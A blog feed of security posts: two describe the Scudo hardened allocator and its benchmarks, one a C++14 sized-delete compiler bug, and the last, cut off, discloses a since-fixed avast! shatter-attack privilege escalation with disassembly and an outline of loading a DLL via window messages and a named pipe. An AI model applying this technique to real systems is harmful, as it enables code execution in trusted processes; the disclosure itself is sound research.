tag:blogger.com,1999:blog-67001023800870700122024-02-21T04:38:33.345-05:00Expert: MiamiKostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.comBlogger159125tag:blogger.com,1999:blog-6700102380087070012.post-34781808611052143732019-05-14T12:29:00.000-04:002019-05-14T12:29:35.179-04:00High level overview of ScudoWith this post, I am going to go through some high level details about the architecture of the allocator and some of the security features offered. Some notions will be skimmed through, with the hopes of being covered in detail in a later post (based on my free time).<br />
<br />
Scudo is made up of the following components:<br />
<br />
<ul>
<li>a "primary" allocator: this is a fast allocator, servicing smaller sized requests (configurable at compile time). It is "segregated", eg: chunks of the same size end up in the same memory region, that is compartmentalized from other regions (the separation is stronger on 64-bit, where a memory area is specifically reserved for the primary regions); chunks allocated by the primary are randomized to avoid predictable address sequences (note that the larger the size, the more predictable the addresses are to each other). A couple of side effects to this design, is that there is no such thing as <a href="https://en.wikipedia.org/wiki/Coalescing_(computer_science)">coalescing</a> contiguous blocks, and that the memory used by the primary is never unmapped - but it can be reclaimed. While we are trying to focus on 64-bit, there is a 32-bit primary, mostly due to Android;</li>
<li>a "secondary" allocator: which wraps the platform memory allocation primitives, and as such is slower and used to service larger sized allocations. Allocations fulfilled by the secondary are surrounded by guard pages;</li>
<li>local caches: those are thread specific stashes, holding pointers to free blocks in order to relieve contention over the global free-list. There are two models: exclusive and shared. With the exclusive model, there is a unique cache per thread, which is more memory hungry but mostly free of contention. With the shared model, threads share a set number of caches, that can be dynamically reassigned at runtime based on contention - this uses less memory than the exclusive model and usually fits better the needs of end user platforms.</li>
<li>a "quarantine": which can be equated to a heap wide delayed free-list, holding recently freed blocks for a time until a criteria is met (usually, a certain size is reached), before returning them to the primary or secondary for reuse. There is a thread-specific quarantine, and a global quarantine to avoid as much as possible global locking. This is the most impactful in terms of memory usage and to some extent performances: even smaller sized quarantines will have a large impact on a process RSS, and it effectively kills locality, making any sort of memory cache less useful. As such, it is disabled by default, and can be enabled on a per-process basis (and sized according to the process needs).</li>
</ul>
<br />
Now for some security "features":<br />
<br />
<ul>
<li>strong sizes and alignment requirements: we enforce maximum sizes and alignment values, but also check that pointers provided are properly aligned; those are cheap checks to avoid integer overflows and catch low hanging deallocation errors (or abuse);</li>
<li>each chunk is preceded by a header, that stores basic information about the allocation, and is checksummed to be able to detect corruption. <br />While the debate in-band vs out-of-band metadata divides people, the choice for an in-band header was made to be able to detect linear {over,under}flows (at least until we get memory tagging).<br />The checksum of the header involves a global secret, the pointer being dealt with, and the content of the header - it is not meant to be cryptographically strong. As for the data stored in the header, it holds the size of the allocation, the state of the chunk (available, allocated, quarantined), its origin (malloc, new, new[]) and some internal data. Headers are manipulated atomically to detect race attempts between threads operating on the same chunk.<br />As is usually the case with this type of mitigation, inconsistencies are only detected when the header is checked, which usually means that a heap operation has to occur on the chunk in question.<br />Overall, this allows for several security checks:</li>
<ul>
<li>ensure that a pointer being deallocated actually points to a chunk, otherwise the checksum verification will fail. Some other allocators gladly accept a pointer pointing to the middle of a chunk for deallocation, we do not;</li>
<li>ensure that the state of a chunk is consistent with the operation being carried out. This allows for detection of double-frees and the like;</li>
<li>ensure that a sized-deallocation is valid for the targeted chunk, which allowed to find an Intel C Compiler <a href="https://expertmiami.blogspot.com/2018/08/about-c14-sized-delete-operator.html">bug</a>, and prevents related abuse;</li>
<li>ensure that the deallocation function is consistent with the allocation function that returned the targeted chunk (eg: free/malloc, delete/new);</li>
</ul>
<li>we randomize everything we can, to reduce predictability as much as possible; one of the side benefits of the thread caches is that they can make it more difficult for an attacker to get the chunks they want in the state they need, if they leverage allocation primitives in different threads;</li>
<li>guard pages are added when deemed useful;</li>
<li>we do not store pointers in free chunks, or anything really. Our arrays of free pointers (what we call transfer batches) are located in separate memory region;</li>
<li>the quarantine helps mitigate use-after-free to some extent, making it harder for an attacker to reuse a deallocated chunk. This mitigation only goes so far, as a chunk will end up being reused at some point in time (unless you have unlimited memory);</li>
<li>the non-standalone version of Scudo also offers the possibility to set an RSS limit, which results in the allocator returning null pointers if said soft limit is exceeded (or aborting if a hard limit is set); this allows to quickly check the resilience of an application to OOM conditions - I still have to add that feature to the standalone version.</li>
</ul>
<div>
<br /></div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-62287536223222249442019-05-10T13:46:00.002-04:002019-05-10T15:51:10.583-04:00What is the Scudo hardened allocator?I am going to make a small series of posts about the Scudo hardened allocator, starting with some general considerations then getting into technical details.<br />
<br />
Scudo is a user-mode allocator which aims at providing additional mitigation against heap based vulnerabilities, while maintaining good performance. It’s open-source, part of LLVM’s compiler-rt project, and external contributions are welcome.<br />
<br />
Scudo is currently the <a href="https://fuchsia.googlesource.com/fuchsia/+/refs/heads/master/zircon/third_party/ulib/musl/BUILD.gn#6">default</a> allocator in Fuchsia, is enabled in some components in <a href="https://security.googleblog.com/2019/05/queue-hardening-enhancements.html">Android</a>, and is used in some Google production services. While it was initially implemented on top of some of sanitizer_common’s components, it is being rewritten to be <a href="https://github.com/llvm/llvm-project/tree/master/compiler-rt/lib/scudo/standalone">standalone</a>, without dependencies to other compiler-rt parts, for easier use (and additional performance and security benefits).<br />
<h2>
Why another allocator?</h2>
The journey started a few years ago while exploring the landscape of usermode allocators on Linux. It is no secret that Google uses <a href="https://gperftools.github.io/gperftools/tcmalloc.html">tcmalloc</a>, and in all honesty, the internal version is blowing everything else away. By a lot. But as it was <a href="https://downloads.immunityinc.com/infiltrate-archives/webkit_heap.pdf">noted</a> by my esteemed former-colleagues Sean and Agustin, its resilience to abuse is ... lackluster, to say the least.<br />
<br />
<div>
To understand our options, let’s have a look at a somewhat typical benchmark for production services at Google, involving a lot of asynchronous threading, protobufs, RPCs and other goodies, all of that running on a 72 core Xeon machine with 512GB of RAM (this is not meant to be the most rigorous of comparison, but give you an idea of what’s up). The first metric is the number of Queries Per Second, the second is the peak RSS of the program (as reported by <span style="font-family: "courier new" , "courier" , monospace;">/usr/bin/time</span>).<br />
<span id="docs-internal-guid-aa8c0610-7fff-77b2-92ca-de4e58cc8037"><br /></span>
<br />
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none; width: 468pt;"><colgroup><col width="*"></col><col width="*"></col><col width="*"></col></colgroup><tbody>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><h3 style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">Allocator</span></span></h3>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><h3 style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">QPS (higher is better)</span></span></h3>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><h3 style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">Max RSS (lower is better)</span></span></h3>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">tcmalloc (internal)</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">410K</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">357MB</span></span></div>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<a href="https://github.com/jemalloc/jemalloc" style="text-decoration-line: none;">jemalloc</a></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">356K</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">1359MB</span></span></div>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">dlmalloc (glibc)</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">295K</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">333MB</span></span></div>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<a href="https://github.com/plasma-umass/Mesh" style="text-decoration-line: none;">mesh</a></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">142K</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">710MB</span></span></div>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<a href="https://github.com/omniti-labs/portableumem/" style="text-decoration-line: none;">portableumem</a></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">24K</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">393MB</span></span></div>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: inherit;"><strike><a href="https://github.com/GrapheneOS/hardened_malloc" style="text-decoration-line: none;">hardened_malloc</a><span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">*</span></strike></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;"><strike>18K</strike></span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;"><strike>458MB</strike></span></span></div>
</td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<a href="https://github.com/UTSASRG/Guarder" style="text-decoration-line: none;">guarder</a></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">FATALERROR**</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><span style="font-family: inherit;"><br /></span></td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<a href="https://github.com/UTSASRG/FreeGuard" style="text-decoration-line: none;">freeguard</a></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">SIGSEGV***</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><span style="font-family: inherit;"><br /></span></td></tr>
<tr style="height: 0pt;"><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">scudo (standalone)</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">400K</span></span></div>
</td><td style="border-bottom: 1pt; border-left: 1pt; border-right: 1pt; border-top: 1pt; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: inherit;">318MB</span></span></div>
</td></tr>
</tbody></table>
</div>
<br />
<span id="docs-internal-guid-aa8c0610-7fff-77b2-92ca-de4e58cc8037">
</span>
* hardened_malloc is mostly targeting Android, and only supports up to 4 arenas currently so the comparison is not as relevant as it strongly impacts concurrency. Increasing that number yields to mmap() failures.<br />
** Guarder only supports up to 128 threads per default, increasing that number results in mmap() failures. Limiting the number of threads is the only way I found to make it work, but then the results are not comparable to the others.<br />
*** I really have no idea how real world payloads ever worked with those two.<br />
<br />
tcmalloc & jemalloc are fast, but <a href="http://phrack.org/issues/68/10.html">not</a> <a href="https://sean.heelan.io/2011/04/14/exploit-necromancy-in-tcmalloc-reviving-the-4-to-n-byte-overflow-primitive-with-insert-to-freelistx/">resilient</a> against heap based vulnerabilities. dlmalloc is, well, sometimes more secure than <a href="http://tukan.farm/2017/07/08/tcache/">others</a>, but not as fast. The secure allocators are underperforming, when working at all. I am not going to lie, some benchmarks are less favorable to Scudo, some others more, but this one is representative of one of our target use cases.</div>
<div>
The idea of Scudo is to fall in the category of “as fast as possible while being resilient against heap based bugs”. Scudo is not the most secure allocator, but it will (hopefully) make exploitation harder, with a variety of configurable options that allow for increased security (but that comes with a cost in performance and memory footprint, like the Quarantine). It is also meant to be a good working ground for future mitigation (such a memory tagging, or <a href="https://reviews.llvm.org/D60593">GWP-ASan</a>).<br />
<h2>
Origins</h2>
While various options for improving existing allocators were considered, a meeting with Kostya Serebryany lead to the plan of record: building upon the existing sanitizer_common allocator to create a usermode allocator that would be part of LLVM’s compiler-rt project.<br />
<br />
The original sanitizer allocator, which is used as a base for the ones of <a href="https://github.com/google/sanitizers/wiki/AddressSanitizer">ASan</a>, <a href="https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual">TSan</a>, LSan, was originally written by Kostya and Dmitry Vyukov, and featured some pretty neat tricks that made it fast, and extensible.<br />
<br />
A decent amount of things had to be changed (things were allocated from a fixed base address, in a predictable fashion, overall memory consumption was on higher side, etc). The <a href="https://github.com/llvm/llvm-project/tree/master/compiler-rt/lib/scudo">original</a> version targeted Linux only, and then support came for other Google platforms, Android first, and then Fuchsia.<br />
<br />
Aleksey Shlyapnikov did some work to make Scudo work on Solaris with SPARC ADI for some memory tagging <a href="https://arxiv.org/pdf/1802.09517.pdf">research</a>, but that work was never upstreamed. I will probably revisit that at some point. As for other platforms, they will be up to the community.<br />
<br />
Fuchsia decided to adopt Scudo as their default libc allocator, which required rewriting the code to remove dependencies to sanitizer_common - and we are reaching the final stages of the upstreaming process.<br />
<br /></div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-4474862725930279962018-08-14T13:41:00.000-04:002018-08-14T13:41:42.678-04:00About the C++14 sized delete operatorAlright, I am breaking a 3-year-posting-slumber here. Don't get too excited, I am probably not going to post regularly but I will try and share some security and/or allocator related thoughts here.<br />
<br />
One of the novelties introduced by C++14 was <a href="https://en.cppreference.com/w/cpp/memory/new/operator_delete">sized delete operators</a>. Taking an extra <span style="font-family: Courier New, Courier, monospace;">size_t</span> parameter, those are meant for efficiency purposes, allowing to avoid a potentially costly lookup of the size of a chunk, to quote <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3536.html">N3536</a>:<br />
<blockquote class="tr_bq">
Modern memory allocators often allocate in size categories, and, for space efficiency reasons, do not store the size of the object near the object. Deallocation then requires searching for the size category store that contains the object. This search can be expensive, particularly as the search data structures are often not in memory caches.</blockquote>
And this is indeed the case. While someone can directly call the sized delete operator, it's usually up to the compiler to the heavy lifting, specifying the command line flag <span style="font-family: Courier New, Courier, monospace;">-fsized-deallocation</span>; but it is usually enabled for <span style="font-family: Courier New, Courier, monospace;">-std=c++14</span> and above (see <a href="https://gcc.gnu.org/onlinedocs/gcc/C_002b_002b-Dialect-Options.html">gcc</a> c++ dialect options).<br />
<br />
So what happens on the allocator side when the sized deallocation function is used? The allocator usually has fast path function that will use the size provided to look up where the chunk will end up (see <a href="https://github.com/gperftools/gperftools/blob/f2bca77aed83107197abadee0652c39e2c4c73d3/src/tcmalloc.cc#L1902">tc_free_sized</a> for tcmalloc, <a href="https://github.com/jemalloc/jemalloc/blob/36eb0b3d77404f389cfddad6675fe1f479e76be7/src/jemalloc_cpp.cpp#L127">je_sdallocx</a> for jemalloc). That's great, no size to compute for a given pointer, it's faster. But it implies that the compiler gets it right all the time (or that a programmer doesn't blindly call the sized operator with a wrong size, or that a malicious user doesn't pass a mismatched pointer to a sized deallocation function), otherwise the deleted chunk ends up in the wrong bin/freelist/*, and when it's later returned to fulfill an allocation, something bad is likely to happen.<br />
<br />
My catastrophic thinking self expected this was going to go wrong at some point, but as far as I can tell, there was <a href="https://twitter.com/crypt0ad/status/895389392176414720">nothing much</a> in the world of exploitable bugs related to this, except for the early implementation hiccups.<br />
<br />
<a href="https://github.com/google/sanitizers/wiki/AddressSanitizer">ASan</a>'s allocator has an optional check for this, and so does <a href="https://llvm.org/docs/ScudoHardenedAllocator.html">Scudo</a> (an allocator I work on): if the size passed to the deallocation doesn't match the one of the chunk being deallocated, kill things as something is terribly wrong somewhere (but do not trust the size passed in any case - so much for efficiency 😕).<br />
<br />
But then a few days ago, it was <a href="https://software.intel.com/en-us/forums/intel-c-compiler/topic/783942">pointed out</a> that the Intel Compiler was totally messing up the sized deallocation (see the <a href="https://godbolt.org/g/pPWktV">compiled code</a>). The consequences of this are entirely dependent on the allocator being used at runtime, and it looks like for most this could just result in some wasted memory (a large chunk ending up in a smaller bin), but that likely requires some additional digging (<span style="font-family: Courier New, Courier, monospace;">TODO(cryptoad)</span> I guess). Anyway, if you compiled anything with ICC 18.0.0 in C++14 mode, update your compiler and recompile your binaries!<br />
<br />
The reporter found the issue using <a href="https://github.com/llvm-mirror/compiler-rt/tree/master/lib/scudo">Scudo</a>, and it makes me somewhat happy that the check found a meaningful justification. Anyway, if you have examples of a sized deallocation gone wrong, feel free to chime in.<br />
<br />Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-17722919693818786032015-08-06T11:55:00.001-04:002015-08-06T11:57:42.079-04:00avast! Shatter Attack EoPHere is another issue in avast!, in the GUI AvastUI.exe. It allowed arbitrary code execution within the context of that trusted process, and as such EoP, self-protection bypass, etc. Exploit is provided. It was fixed about a year ago by the avast! crew.<br />
<h3>
Summary</h3>
<u>Bug type</u>: arbitrary function call<br />
<u>Vector</u>: window message to asw_av_tray_icon_wndclass<br />
<u>Impact</u>: untrusted code execution within the trusted AvastUI.exe process<br />
<u>Verified on</u>: avast! Free AvastUI.exe v9.0.2018.391<br />
<h3>
Foreword</h3>
It's been a while since I had used a shatter attack for an interesting purpose! Trendy about 10 years ago (according to <a href="https://en.wikipedia.org/wiki/Shatter_attack"><span id="goog_1084973606"></span>Wikipedia<span id="goog_1084973607"></span></a>), they allowed privilege escalation thanks to core components of Windows like with <a href="https://technet.microsoft.com/library/security/ms02-071">MS02-071</a>. They are mostly extinct due to Windows now restricting the messages sent to more privileged processes, or isolation of services in <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/Dn653293(v=VS.85).aspx">session 0</a>. An old but very good presentation of the excellent Brett Moore explains them in <a href="https://docs.google.com/presentation/d/1WHcGaPWmBQ3r5RoRt2sX9SVKgAG4h0yAUxb2VwK9iv8/embed?slide=id.i0">detail</a>.<br />
<br />
But the problem resurfaces when a process attempts to introduce home-made integrity levels, while functioning as the current logged in user (and at the same IL). This new security boundary can be shattered thanks to Windows messages.<br />
<h3>
Description</h3>
Since we are running in the same context as AvastUI.exe, we can pretty much send any window message to its windows. This appears to be something that the developers didn't think about. For example, the window corresponding to the window class asw_av_tray_icon_wndclass accepts quite a bit of user messages. The following piece of code handles the message 0x83fd:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC0 kk_CWndWM83FDh proc near ; DATA XREF: .rdata:00677314 o</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC0</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC0 wParam = dword ptr 8</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC0 lParam = dword ptr 0Ch</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC0</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC0 push ebp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC1 mov ebp, esp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC3 mov eax, [ebp+wParam]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC6 test eax, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BC8 jz short loc_551BD3</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BCA push [ebp+lParam]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BCD call eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BCF pop ebp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD0 retn 8</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD3 ; ---------------------------------------------------------------------------</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD3</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD3 loc_551BD3: ; CODE XREF: kk_CWndWM83FDh+8 j</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD3 xor eax, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD5 pop ebp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD6 retn 8</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00551BD6 kk_CWndWM83FDh endp</span><br />
<div>
<br /></div>
<div>
<div>
As you can see, this handler will interpret wParam as a function pointer and lParam as its first and only argument and call it. This obviously becomes an issue when the message is sent by a 3rd party application as it pretty much guarantees code execution within the AvastUI.exe process.</div>
<div>
<br /></div>
<div>
This call primitive is ideal to execute a function like LoadLibrary. We have to make the first parameter point to a string locating the DLL on the drive. Given that we are local, and that Windows doesn't do per-process randomization of DLLs, we already know the address of LoadLibraryA.</div>
<div>
<br /></div>
<div>
But one has to be a bit imaginative to know how to place the string into the AvastUI.exe process memory at a known location. One of the solutions that I found (that restricts the path to the DLL to *44* bytes), is to use a functionality that would put memory under our control at a known offset into</div>
<div>
the .data section of AvastUI.exe. This requires some interaction with the named pipe \\.\pipe\snx_sdesktop_pipe. The process AvastUI.exe creates 10 of those, and reads from them in the following code:</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E159 mov ecx, [ebp+var_30]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E15C push 0 ; lpOverlapped</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E15E shl ecx, 4</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E161 add ecx, [ebp+var_30]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E164 lea eax, [ebp+var_8]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E167 push eax ; lpNumberOfBytesRead</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E168 push 44 ; nNumberOfBytesToRead</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E16A lea eax, (g_NamedPipeStructures+4)[ecx*4]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E171 push eax ; lpBuffer</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E172 push g_NamedPipeStructures[ecx*4] ; hFile</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">.text:0054E179 call ds:ReadFile</span></div>
<div>
<br /></div>
<div>
What I called g_NamedPipeStructures is located in the .data section of AvastUI.exe and is an array of 10 structures containing the handle to the pipes followed by a 44 byte array receiving the information read from the pipe.</div>
<div>
<br /></div>
<div>
